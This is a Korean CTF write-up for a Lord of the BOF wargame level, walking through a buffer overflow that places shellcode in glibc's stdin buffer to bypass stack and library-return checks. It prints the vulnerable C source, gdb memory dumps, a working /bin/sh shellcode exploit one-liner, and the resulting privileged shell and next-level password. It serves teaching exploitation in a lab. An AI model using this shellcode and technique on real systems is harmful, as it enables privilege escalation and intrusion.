본문 바로가기

CTF_Write_UP/LOB

[LOB] nightmare

시작

안녕하세요 :D

오랜만에 휴가, 오랜만에 LOB입니다.

2문제 정도 남은 걸로 알고있는데.. 이번에 끝을 보려구요 ㅎㅎ

시작해보죠!!

Write UP

/* 
        The Lord of the BOF : The Fellowship of the BOF 
        - xavius 
        - arg 
*/ 

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main() 
{ 
        char buffer[40]; 
        char *ret_addr; 

        // overflow! 
        fgets(buffer, 256, stdin); 
        printf("%s\n", buffer); 

        if(*(buffer+47) == '\xbf') 
        { 
                printf("stack retbayed you!\n"); 
                exit(0); 
        } 

        if(*(buffer+47) == '\x08') 
        { 
                printf("binary image retbayed you, too!!\n"); 
                exit(0); 
        } 

        // check if the ret_addr is library function or not 
        memcpy(&ret_addr, buffer+44, 4); 
        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function 
        { 
                if(*ret_addr == '\xc9'){                // leave 
                        if(*(ret_addr+1) == '\xc3'){    // ret 
                                printf("You cannot use library function!\n"); 
                                exit(0); 
                        } 
                } 
                ret_addr++; 
        } 

        // stack destroyer 
        memset(buffer, 0, 44); 
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); 

        // LD_* eraser 
        // 40 : extra space for memset function 
        memset(buffer-3000, 0, 3000-40); 
}

답답한 코드입니다.. 스택도 못 쓰고, 바이너리도 못 쓰고, leave ret까지 막아버려서

더 이상 쓸 곳이 없네요 ㅋㅋㅋ

근데 보면 LOB는 항상 argv[]에서 인자를 받아왔잖아요. strcpy()를 써서 BOF를 터뜨리구요.

근데 이번엔 fgets()를 썼습니다. 두 함수의 다른 점은 stdin, 표준입력을 읽어오는 데에 있어요.

stdin도 하나의 버퍼이기 때문에 입력을 받으면 어딘가에 저장이 될 것입니다. 이 부분을 이용해봅시다.

0x804871a <main+6>:     mov    %eax,%ds:0x8049a3c 
0x804871f <main+11>:    push   %eax 
0x8048720 <main+12>:    push   0x100 
0x8048725 <main+17>:    lea    %eax,[%ebp-40] 
0x8048728 <main+20>:    push   %eax 
0x8048729 <main+21>:    call   0x8048408

3개의 인자를 push 해주는데, 첫 번째 push에서 0x8049a3c를 eax에 옮기고 스택에 넣어줍니다.

(gdb) x/4wx 0x8049a3c 
0x8049a3c <stdin@@GLIBC_2.0>:   0x00000000      0x00000000      0x00000000      0x00000000

바로 여기가 stdin 영역인 것을 알 수 있어요. fgets() 이후에 브포를 걸고 실행해봅시다.

입력으론 “aaaa”를 줄게요.

(gdb) x/wx 0x8049a3c 
0x8049a3c <stdin@@GLIBC_2.0>:   0x401068c0 
(gdb) x/20wx 0x401068c0 
0x401068c0 <_IO_2_1_stdin_>:    0xfbad2288      0x40015005      0x40015005      0x40015000 
0x401068d0 <_IO_2_1_stdin_+16>: 0x40015000      0x40015000      0x40015000      0x40015000 
0x401068e0 <_IO_2_1_stdin_+32>: 0x40015400      0x00000000      0x00000000      0x00000000 
0x401068f0 <_IO_2_1_stdin_+48>: 0x00000000      0x00000000      0x00000000      0x00000000 
0x40106900 <_IO_2_1_stdin_+64>: 0xffffffff      0x00000000      0x401068a0      0xffffffff 
(gdb) x/20wx 0x40015000 
0x40015000:     0x61616161      0x0000000a      0x00000000      0x00000000 
0x40015010:     0x00000000      0x00000000      0x00000000      0x00000000 
0x40015020:     0x00000000      0x00000000      0x00000000      0x00000000 
0x40015030:     0x00000000      0x00000000      0x00000000      0x00000000 
0x40015040:     0x00000000      0x00000000      0x00000000      0x00000000

stdin 부분에 0x401068c0 값이 들어갔고, 이 근처에 있는 값들을 뒤져보니 0x40015000에 우리의 입력이 저장되네요.

쉘코드를 여기에 넣고 RET을 돌리면 되겠습니다.

[nightmare@localhost xavius]$ (python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90" * 15 + "BBBB" + "\x00\x50\x01\x40"'; cat) | ./xavius 
1▒Ph//shh/bin▒▒PS▒▒° 
                    ̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒BBBB 
id 
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare) 
my-pass 
euid = 519 
throw me away

Exploit!!

마무리

다른 CTF 문제들은 fgets()를 하도 자주 쓰다 보니깐 이상한 점을 알아채지 못했습니다 ㅠㅠ

stdin, 표준 입력도 하나의 버퍼다!! 잊지 말아요 ㅎㅎ

감사합니다 :D

'CTF_Write_UP > LOB' 카테고리의 다른 글

[LOB] death_knight  (0) 2019.10.04
[LOB] xavius  (0) 2019.10.04
[LOB] succubus  (0) 2019.09.09
[LOB] zombie_assassin  (0) 2019.09.09
[LOB] zombie  (0) 2019.08.03